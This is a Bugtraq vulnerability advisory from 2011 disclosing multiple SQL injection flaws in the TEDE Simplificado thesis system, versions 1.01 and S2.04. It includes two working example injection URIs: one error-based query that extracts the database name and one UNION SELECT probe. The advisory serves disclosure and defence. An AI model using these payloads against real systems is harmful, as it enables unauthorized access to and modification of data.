TEDE Simplificado Multiple SQL Injection Vulnerabilities

Bugtraq ID:	48067
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 01 2011 12:00AM
Updated:	Jun 01 2011 12:00AM
Credit:	KnocKout
Vulnerable:	TEDE Simplificado TEDE Simplificado vS2.04 TEDE Simplificado TEDE Simplificado v1.01
Not Vulnerable:

TEDE Simplificado Multiple SQL Injection Vulnerabilities

TEDE Simplificado is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

TEDE Simplificado v1.01 and vS2.04 are vulnerable; other versions may also be affected.

TEDE Simplificado Multiple SQL Injection Vulnerabilities

The following example URIs are available:

http://www.example.com/tde_busca/processaPesquisa.php?pesqExecutada=1&id=663%20and%28select%201%20from%28select%20count%28*%29,concat%28%28select%20%28select%20concat%280x7e,0x27,unhex%28hex%28database%28%29%29%29,0x27,0x7e%29%29%20from%20information_schema.tables%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20and%201=1

http://www.example.com/tde_busca/tde_fut.php?id=10%20union%20select%201,2,3,4

TEDE Simplificado Multiple SQL Injection Vulnerabilities

Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

TEDE Simplificado Multiple SQL Injection Vulnerabilities

References:

• Vendor Homepage (TEDE Simplificado)